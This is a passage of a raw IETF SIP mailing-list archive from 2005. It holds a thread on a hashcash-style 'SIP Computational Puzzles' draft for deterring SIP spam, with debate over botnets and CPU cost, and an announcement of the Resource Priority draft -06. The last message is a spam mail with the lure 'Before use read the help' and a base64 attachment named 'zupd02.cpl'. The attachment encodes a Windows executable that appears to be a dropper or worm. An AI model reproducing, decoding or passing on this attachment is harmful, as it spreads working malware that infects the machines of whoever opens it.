was not on the white list fallback to something else like this. Cullen On 2/24/05 11:30 AM, "Francois Audet" wrote: > We may need to explain some of the limitations of this. It seems to me that > this mechanism would not be terribly appropriate for applications that > aggregate a large number of clients onto a single platform. For example, this > may be too computationally intensive for a large PSTN Gateway, or even a large > Proxy. > > Any ideas of how a UAS would make the decision to send the 419 without > burdening the UAC? Should there be a supported/require header for this > functionality, so that a UAC could "opt out"? >> >> >> -----Original Message----- >> From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Cullen >> Jennings >> Sent: Tuesday, February 22, 2005 16:46 >> To: sip@ietf.org >> Subject: [Sip] draft-jennings-sip-hashcash-01 >> >> >> I updated this draft on "SIP Computational Puzzles" so it has enough detail >> to implement it. (Previous version did not). It is in the drafts directory >> and also in HTML form at: >> >> http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-hashcash- >> 01.html >> >> Cullen > > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip --B_3192163409_5968357 Content-type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable Re: [Sip] draft-jennings-sip-hashcash-01
The idea would be to have a very skewed amount of computation to help rate = limit attacks. Whatever amount of computation is "reasonable" for = a valid client to do, an attacker is going to be able to apply a lot more co= mputation to the problem. However, this still limits the number of messages = the attacker can do and thus raises the cost. I discuss this some what in th= e SPAM draft.

This could all happen in different ways. Imagine a case where my enterprise= proxy compute the puzzles on behalf of my phone when I call another domain.= Say in a large enterprise, it has 10,000 people and during a busy hour make= s 10 calls per second that are to an address external to the domain. Of thes= e only 2 are not whitelists. If the enterprise proxy was willing to spend sa= y 3GHz worth of CPU at computing challenges for these 2cps, well that is a p= retty hefty amount of hash that could be required.

Another ways is perhaps all the UAC are willing to do about the amount of h= ashing that 1 second of G.729 compression would take. It's hard to imagine t= hat most UAs (even large GWs) could not do this. This would limit the rate o= f attack of a single computer to in the 100s of messages per second. This is= a lot less hashing that the example above but contrast this to what is poss= ible today. Today I can send in the order of 100,000 message per second. Inc= reasing the cost of an attack by 1000 is good. It slows it down and give you= time to trace the source and cut it off before it is everywhere. It makes i= s less worth while to advertise products that a very very small percentage o= f the receivers would buy.

As discussed in the SPAM draft, you would always want to use white lists fi= rst then if the person was not on the white list fallback to something else = like this.

Cullen


On 2/24/05 11:30 AM, "Francois Audet" <audet@nortel.com> wr= ote:

We may need to explain some of the limitations of thi= s. It seems to me that this mechanism would not be terribly appropriate for = applications that aggregate a large number of clients onto a single platform= . For example, this may be too computationally intensive for a large PSTN Ga= teway, or even a large Proxy.
Any ideas of how a UAS woul= d make the decision to send the 419 without burdening the UAC? Should there = be a supported/require header for this functionality, so that a UAC could &q= uot;opt out"?

 
-----Original Message-----
From:  sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Cullen  Jenni= ngs
Sent: Tuesday, February 22, 2005 16:46
To:  sip@ietf.org
Subject: [Sip]  draft-jennings-sip-hashcash-01


I updated  this draft on "SIP Computational Puzzles" so it h= as enough detail to implement  it. (Previous version did not). It is in= the drafts directory and also in HTML  form at:

http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-j= ennings-sip-hashcash-01.html

Cullen

____________________= ___________________________
Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
This list is for NEW development of the core SIP Protocol
Use sip-implementors@cs.columbia.edu for questions on current sip
Use sipping@ietf.org for new developments on the application of sip

 --B_3192163409_5968357-- --===============0200368865== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============0200368865==-- From sip-bounces@ietf.org Fri Feb 25 12:56:21 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA13319 for ; Fri, 25 Feb 2005 12:56:21 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4jhb-0007Qm-Lo for sip-web-archive@ietf.org; Fri, 25 Feb 2005 12:56:35 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4jew-0000wD-2i; Fri, 25 Feb 2005 12:53:50 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4jeu-0000w1-Ky for sip@megatron.ietf.org; Fri, 25 Feb 2005 12:53:48 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA13099 for ; Fri, 25 Feb 2005 12:53:45 -0500 (EST) Received: from sj-iport-5.cisco.com ([171.68.10.87]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4jf4-0007MG-9F for sip@ietf.org; Fri, 25 Feb 2005 12:53:59 -0500 Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-5.cisco.com with ESMTP; 25 Feb 2005 09:54:07 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== X-IronPort-AV: i="3.90,117,1107763200"; d="scan'208"; a="163713164:sNHT7567063276" Received: from wells.cisco.com (wells.cisco.com [171.71.177.223]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j1PHrNq8022915 for ; Fri, 25 Feb 2005 09:53:23 -0800 (PST) Received: from jmpolk-w2k01.diablo.cisco.com (ssh-sjc-1.cisco.com [171.68.225.134]) by wells.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id JAA19547 for ; Fri, 25 Feb 2005 09:53:25 -0800 (PST) Message-Id: <4.3.2.7.2.20050225112723.035dd6b0@localhost> X-Sender: jmpolk@localhost X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 25 Feb 2005 11:47:50 -0600 To: sip@ietf.org From: "James M. Polk" Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 1.1 (+) X-Scan-Signature: 0a7aa2e6e558383d84476dc338324fab Subject: [Sip] New Resource Priority Draft (-06) X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 1.1 (+) X-Scan-Signature: 52f7a77164458f8c7b36b66787c853da All Posted version -06 of the Resource Priority Header ID http://www.ietf.org/internet-drafts/draft-ietf-sip-resource-priority-06.txt The ID doesn't have a "changes" section, so here are the changes since the -05 version: - removed all the modes, and nearly all the text from all the modes (yes!) - introduce and describe what we mean generically by a preferential treatment that is priority-queue based (section 4.4.2) for GETS-type services (instead of only explaining a preemption policy) - added section specifically how a UAC behaves in preemption-based administrative domains (4.7.1) - added section specifically how a UAC behaves in priority-queue based administrative domains (4.7.2) - added section specifically how a UAS behaves in priority-queue based administrative domains (4.8.2) - detailing how a congested queue should function within a proxy of both behavior types (4.9) - deleted the old section on Proxies and preemption policy - Expanded the sections on the individual behaviors of each of the 5 namespaces created with this document (8.1.1 - 8.1.5) - kept, but rewrote section 7 (Multiple Namespaces in a Message) to explain that the relative priority level order within a namespace must be maintained when interleaving one namespace with another in determining message treatment within a SIP element. - Added a section on Future Namespace Creation (8.2) - rewrote IANA Registrations of Namespaces and Priority-Values, with a new (simpler) table (11.4) - added IANA Registration section on how to register the relative priority order of values within a namespace definition (11.5) - made [I-D.ietf-sipping-reason-header-for-preemption] a normative reference (13.1) - all this while streamlining (cutting and rewriting) the document comments are welcome cheers, James ******************* Truth is not to be argued... it is to be presented _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Fri Feb 25 20:34:10 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA22699 for ; Fri, 25 Feb 2005 20:34:10 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4qqh-0008Ja-7U for sip-web-archive@ietf.org; Fri, 25 Feb 2005 20:34:27 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4qnp-00040v-MG; Fri, 25 Feb 2005 20:31:29 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4qnn-0003u8-O5 for sip@megatron.ietf.org; Fri, 25 Feb 2005 20:31:27 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA22525 for ; Fri, 25 Feb 2005 20:31:26 -0500 (EST) Received: from sj-iport-5.cisco.com ([171.68.10.87]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4qo2-0008Go-7D for sip@ietf.org; Fri, 25 Feb 2005 20:31:42 -0500 Received: from sj-core-3.cisco.com (171.68.223.137) by sj-iport-5.cisco.com with ESMTP; 25 Feb 2005 17:32:14 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== X-IronPort-AV: i="3.90,118,1107763200"; d="scan'208"; a="163895486:sNHT29837084" Received: from edison.cisco.com (edison.cisco.com [171.71.180.109]) by sj-core-3.cisco.com (8.12.10/8.12.6) with ESMTP id j1Q1VFwN020983; Fri, 25 Feb 2005 17:31:15 -0800 (PST) Received: from [10.32.240.197] ([10.32.240.197] (may be forged)) by edison.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id RAA14592; Fri, 25 Feb 2005 17:31:14 -0800 (PST) In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed Message-Id: <1C38EAC8-8796-11D9-AD2A-0003938AF740@cisco.com> Content-Transfer-Encoding: quoted-printable From: Dan Wing Subject: Re: [Sip] draft-jennings-sip-hashcash-01 Date: Fri, 25 Feb 2005 17:31:17 -0800 To: Cullen Jennings X-Mailer: Apple Mail (2.619) X-Spam-Score: 0.0 (/) X-Scan-Signature: 21bf7a2f1643ae0bf20c1e010766eb78 Content-Transfer-Encoding: quoted-printable Cc: "sip@ietf.org" , Francois Audet X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 6ba8aaf827dcb437101951262f69b3de Content-Transfer-Encoding: quoted-printable On Feb 25, 2005, at 8:03 AM, Cullen Jennings wrote: > > The idea would be to have a very skewed amount of computation to help = =20 > rate limit attacks. Whatever amount of computation is "reasonable" for = =20 > a valid client to do, an attacker is going to be able to apply a lot =20= > more computation to the problem. However, this still limits the number = =20 > of messages the attacker can do and thus raises the cost. I discuss =20= > this some what in the SPAM draft. > > This could all happen in different ways. Imagine a case where my =20 > enterprise proxy compute the puzzles on behalf of my phone when I call = =20 > another domain. Say in a large enterprise, it has 10,000 people and =20= > during a busy hour makes 10 calls per second that are to an address =20= > external to the domain. Of these only 2 are not whitelists. If the =20 > enterprise proxy was willing to spend say 3GHz worth of CPU at =20 > computing challenges for these 2cps, well that is a pretty hefty =20 > amount of hash that could be required. > > Another ways is perhaps all the UAC are willing to do about the amount = =20 > of hashing that 1 second of G.729 compression would take. It's hard to = =20 > imagine that most UAs (even large GWs) could not do this. This would =20= > limit the rate of attack of a single computer to in the 100s of =20 > messages per second. This is a lot less hashing that the example above = =20 > but contrast this to what is possible today. Today I can send in the =20= > order of 100,000 message per second. Increasing the cost of an attack =20= > by 1000 is good. It slows it down and give you time to trace the =20 > source and cut it off before it is everywhere. It makes is less worth =20= > while to advertise products that a very very small percentage of the =20= > receivers would buy. > > As discussed in the SPAM draft, you would always want to use white =20= > lists first then if the person was not on the white list fallback to =20= > something else like this. Unstated in either document is the assumption that every legitimate =20 caller and every spammer has, at their disposal, one and only one =20 machine that has the CPU capacity of a modern off-the-shelf PC -- "1 =20 Pentium Unit". If a legitimate user has less, or a spammer has more, I =20= don't see hashcash being very valuable. If a legitimate caller has less than 1 Pentium Unit, it seems that =20 person is SOL -- they either upgrade their UA, upgrade their SIP proxy =20= to solve the puzzle for them, buy puzzle-solving MIPS from someone =20 else, or simply not complete a call to someone with a difficult =20 challenge? I do agree that hashcash makes spamming more expensive, but =20 significantly more expensive. Today, email spammers own botnets which =20= are used to send email spam. Tomorrow, SIP spammers can modify those =20= same botnets to solve hashcash puzzles _and_ send (SIP or email) spam =20= -- afterall, it isn't computationally-expensive to send email spam =20 (it's mostly bandwidth), so each PC can do a computational puzzle in =20 addition to its normal spam duties. And the PCs that a spammer 'owns', =20= which can't send spam due to a clueful ISP, can still solve hashcash =20 puzzles on behalf of a SIP spammer. And ven without a botnet of PCs, a spammer can buy a workstation with =20= substantially more than 1 Pentium Unit. And I expect spammers will =20 write software running on off-the-shelf speciality hardware, such as =20 graphics accelerators, to solve hashcash puzzles faster than 1 Pentium =20= Unit. -d > Cullen > > > On 2/24/05 11:30 AM, "Francois Audet" wrote: > > > We may need to explain some of the limitations of this. It seems to me = =20 > that this mechanism would not be terribly appropriate for applications = =20 > that aggregate a large number of clients onto a single platform. For =20= > example, this may be too computationally intensive for a large PSTN =20= > Gateway, or even a large Proxy. > > Any ideas of how a UAS would make the decision to send the 419 without = =20 > burdening the UAC? Should there be a supported/require header for this = =20 > functionality, so that a UAC could "opt out"? > > > =A0 > -----Original Message----- > From: =A0sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf = Of =20 > Cullen =A0Jennings > Sent: Tuesday, February 22, 2005 16:46 > To: =A0sip@ietf.org > Subject: [Sip] =A0draft-jennings-sip-hashcash-01 > > > I updated =A0this draft on "SIP Computational Puzzles" so it has = enough =20 > detail to implement =A0it. (Previous version did not). It is in the =20= > drafts directory and also in HTML =A0form at: > > http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-=20= > hashcash-01.html > > Cullen > > > > _______________________________________________ > Sip mailing list =A0https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip > > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip= _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Sat Feb 26 11:45:11 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA15154 for ; Sat, 26 Feb 2005 11:45:11 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D554R-0006xg-L3 for sip-web-archive@ietf.org; Sat, 26 Feb 2005 11:45:36 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D550z-0000aU-CW; Sat, 26 Feb 2005 11:42:01 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D550x-0000aG-0W for sip@megatron.ietf.org; Sat, 26 Feb 2005 11:41:59 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14794 for ; Sat, 26 Feb 2005 11:41:56 -0500 (EST) Received: from 218-163-123-214.dynamic.hinet.net ([218.163.123.214] helo=mychat-4926d99b.org) by ietf-mx.ietf.org with smtp (Exim 4.33) id 1D551F-0006rI-3b for sip@ietf.org; Sat, 26 Feb 2005 11:42:22 -0500 Date: Sun, 27 Feb 2005 00:41:50 +0800 To: "Sip" From: "Dromasca" Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------ubssyhbwbrnowsksbhst" X-Spam-Score: 3.3 (+++) X-Scan-Signature: d4a1871e876bd836d4c351e861e8720d Subject: [Sip] Is delivered mail X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 2.7 (++) X-Scan-Signature: 19c92f723dac1bcdd68591cc46e38e95 ----------ubssyhbwbrnowsksbhst Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit Before use read the help
----------ubssyhbwbrnowsksbhst Content-Type: application/octet-stream; name="zupd02.cpl" Content-Disposition: attachment; filename="zupd02.cpl" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAO8AgkEAAAAAAAAAAOAADiELAQUMAAwAAAAC AAAAAAAAMBUAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAKKIAAAAAgAA AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADAUAAA8AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACMFAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50 ZXh0AAAAEAoAAAAQAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA AAIAAAAKAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAACiWAAAADAAAKJYAAAADAAAAAAAAAAA AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAGZkZmRmZGdqa3RqeWZqZ3ZkaHR5dXJm ZmhneXR1a2doY2dkaHlyaXV0eWxoa2poZmp5cnVrZ2p2anV0bGhraGZ1a2dqaGZmeXV0aW95 amdoamh5dXRnamtoZnVrdGl5bGhqZ2ZkZmRmZGdoZ2hqeXVydXRpZ2toZmpndHVpdGtnaGp5 dXRpdmpma2hnaGR5amdoZ2ZqaGtna2poZ2prZnRqcmZqaGdmamhuYmhmZHJ2YmZudmRmZ2Jm dmZiaG1iZ25idmdoZ2Z2aGdkamdmZGZkZmRnaGdoamZrdXV0amJ5cnlyeXZ3YmF2c3Rlc2h2 c3Ryc3RyaHZydHdzdGh2ZHNocnZzaHJ0cmhzaHJkaGZkZ2ZqZ2ZkZmRmZGdoZ2hqZmdoam1m a3V0Ynl0eXV0YnV5dXlydHJ0cnl0cnl0eXZlcnRydHRnZnJ0cnR5cnl0amdmZGZkZmRnamdm aGpoamdra2pramtoamhramhmanlydWtnanZqdXRsaGtoZnVrZ2poZmZ5dXRpb3lqZ2hqaHl1 dGdqa2hmdWt0aXlsaGpnZmRmZGZkZ2hnaGp5dXJ1dGhqa2poa2hqa2xveXR5dXZqZmtoZ2hk eWpnaGdmamhrZ2tqaGdqa2Z0anJmamhnZmpobmJoZmRydmJmbnZkZmdiZnZmYmhtYmduYnZn aGdmdmhnZGpnZmRmZGZkZ2hnaGpma3V1dGpieXl1ABAAAAwAAAC1NQAAZmV0ZXJ5dGV5Zmdl eXV0cnVpanN0cmh2cnR3c3RodmRzaHJ2c2hydHJoc2hyZGhmZGdmamdcY2plY3Rvci5leGUA ZmRmZGZkZ2hnZ2ZnZmpmamdqa2draGtqaGxraGxramxraGtoa2xqaGxramhsa2poamdmZGZk ZmZoZ2ZqaGZoZ2Zoamtna2toZ2RzaGZqZ2tobGprZmhobWZjZ2ZoZ2hqa2psZmhnamtqZ2Zz ZGdoampoamd5dGt1Z2poZnlqZ2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1 am91aWxoamtqaHlrdWhrZmh0ZGZodHJqZ2poeXJmaHRydGp5cnRydGhydHllaHRlZXJlZGdm ZGhmZGhnZGh0ZGhzZWdyZHJlZGhmeWpydGhqZ2ZkZmRzeXRyeXJ0aGZnYmZnaGdna2hsamtm aGhtZmNnZmhnaGpramxmaGdqa2pnZnNkZ2hqamhmZ2Znamp1dHlpeXVpaWl5dGt1Z2poZnlq Z2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1aXV5ZGZ1anR5a2dqZHN3ZXR0 ZWhmZ2hqZ2h1Z3lqZmdoZmdodHJ0anlydHJ0aHJ0eWVodGVlcmVkZ2ZkaGZkaGdkaHRkaHNl Z3JkcmVkaGZ5anJ0aGpnAAAAbBQAAAAAAAAAAAAABBUAAIwUAACEFAAAAAAAAAAAAAAiFQAA pBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuBQAAMYUAADUFAAA7BQAAPgUAAAAAAAAEhUAAAAA AAC4FAAAxhQAANQUAADsFAAA+BQAAAAAAAASFQAAAAAAAHVzZXIzMi5kbGwAABoAQ2xvc2VI YW5kbGUAMABDcmVhdGVGaWxlQQBiAUdldFdpbmRvd3NEaXJlY3RvcnlBAACeAldyaXRlRmls ZQC1AmxzdHJjYXRBAABrZXJuZWwzMi5kbGwAAGcAU2hlbGxFeGVjdXRlQQBzaGVsbDMyLmRs bAAAAFWL7IN9DAF1SGgABAAAaBAWABDoogAAADPCaGESABBoEBYAEOidAAAAQWgQFgAQ6CYA AAALwHQZ99BqAGoAagBoEBYAEGgAEAAQagDoewAAALgBAAAAycIMAFWL7IPE+FNWM9tqAGoA agJqAGoDaAAAAMD/dQjoOQAAAJCJRfhAdCMzwr4AMAAQrZJqAI1F/FBSVv91+OglAAAASP91 +OgKAAAAQ4vDXlvJwgQAzP8ljBQAEP8lkBQAEP8llBQAEP8lmBQAEP8lnBQAEP8lpBQAEAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAgAAAAPzVLNVA1WzVxNXY14DXmNew18jX4Nf41 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnlgAAE1a AAABAAAAAgAAAP//AABAAAAAAAAAAEAAAAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAEAAAABQRQAATAEFAAAAAAAAAAAAAAAAAOAADwELAQAAADoAAABKAAAAAAAAAKAAAAAQ AAAAUAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAI4DAQAAAgAAAAAAAAIAAAAAABAA ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAACijAADRAAAAAPAAAI4TAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAUAAAsAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAA6AAAAAAAAujkAAAAQ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAMAADAAAAAAAAPIKAAAAUAAAAAAAAAAAAAAAAAAA AAAAAAAAAABAAADAADAAAAAAAAC1PAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAA AAAAAAAAAFAAAACgAAAAQgAAAAIAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAI4TAAAA8AAA jhMAAABEAAAAAAAAAAAAAAAAAAAgAADg63INCnl1dXZlbG50Ymdma2Jramhoa2dqZ3Zrdmtn Z3RrYmJqYmcNCmxoaGdnamZkZ2RjZGhnaHRmaGpoa2p1dWhoamhmZmhqaGpoZw0KbGhoZ2dq ZmRnZGZkZnJldHJldGV5ZmVydGVydGV0ZXRmZGhnDQpg6AEAAADog8QE6AEAAADpXYHtTSJA AOiHAgAA6OsT6wLNIP8kJJpkc2pnamhqa2V3cWa+R0boAQAAAJpZjZXSIkAA6AEAAABpWGa/ TXPoNwIAAI1S+egBAAAA6FtozP/imsTExMTExMTExMTExMTExMTExMTExMTExMTExMTExP/k aGpoamdsamxramn/pT4lQADp6Ib////rAs0gi8TrAs0ggQAWAAAAD4X0AQAAaegAAAAAWJlq FVqNBAJQ6MABAABmPYbzdAPpjZV0I0AA6LUBAADoAQAAAGmDxASNvcMlQAC54D0AALqgpztT igf20DLFMsIyxtLAAsECxQLCAsbSyCrBKsX20CrCKsbSwNLIMsHTwogHR0l10ugBAAAA6IPE BA8L6CvSZIsCiyBkjwJYXcOai5U+JUAA6EkBAADoAQAAAMeDxAS7c3oAAGoEaAAwAABTagD/ lUIlQADoAQAAAOiDxARoAEAAAFNQ6AEAAADpg8QEUI2VwyVAAFLoDgAAAOgBAAAAaYPEBFpe DlbLYIt0JCSLfCQo/LKApOhsAAAAc/gryehjAAAAcxorwOhaAAAAcyBBsBDoUAAAABLAc/d1 QKrr1uh1AAAASeIU6GsAAADrLKzR6A+ElwAAABPJ6xyRSMHgCKzoUQAAAD0AfQAAcwqA/AVz BoP4f3cCQUGVi8VWi/cr8POkXuuPAtJ1BYoWRhLSw+slNlU5NlU5OlU5NlVDNlU5NlUPOTZV OTpVOTZVQzZVOTZVD1VDOSvJQejH////E8nowP///3Lyw+sjNlU5NlU5OlU5NlVDNlU5NlUP OTZVOTpVOTZVQzZVOTZVDzkrfCQoiXwkHGHD6wFpWFj/4FlSVY2FZiNAAFArwGT/MGSJIOsD x4ToUcPrA8eEmllB6/AAAAAAAAAAAGyjAAAAAAAAAAAAAISjAABsowAAZKMAAAAAAAAAAAAA kaMAAGSjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOejAAAAAAAAnKMAAK2jAAC8owAAyqMAANmj AAAAAAAAS0VSTkVMMzIuRExMAFVTRVIzMi5ETEwAAABHZXRQcm9jQWRkcmVzcwAAAExvYWRM aWJyYXJ5QQAAAEV4aXRQcm9jZXNzAAAAVmlydHVhbEFsbG9jAAAAVmlydHVhbEZyZWUAAABN ZXNzYWdlQm94QQAAAAAAOeKLgzRI3EcVFypr43k8jswmJpcdC/puuD+MGFGK3yS1VvdDjcHw 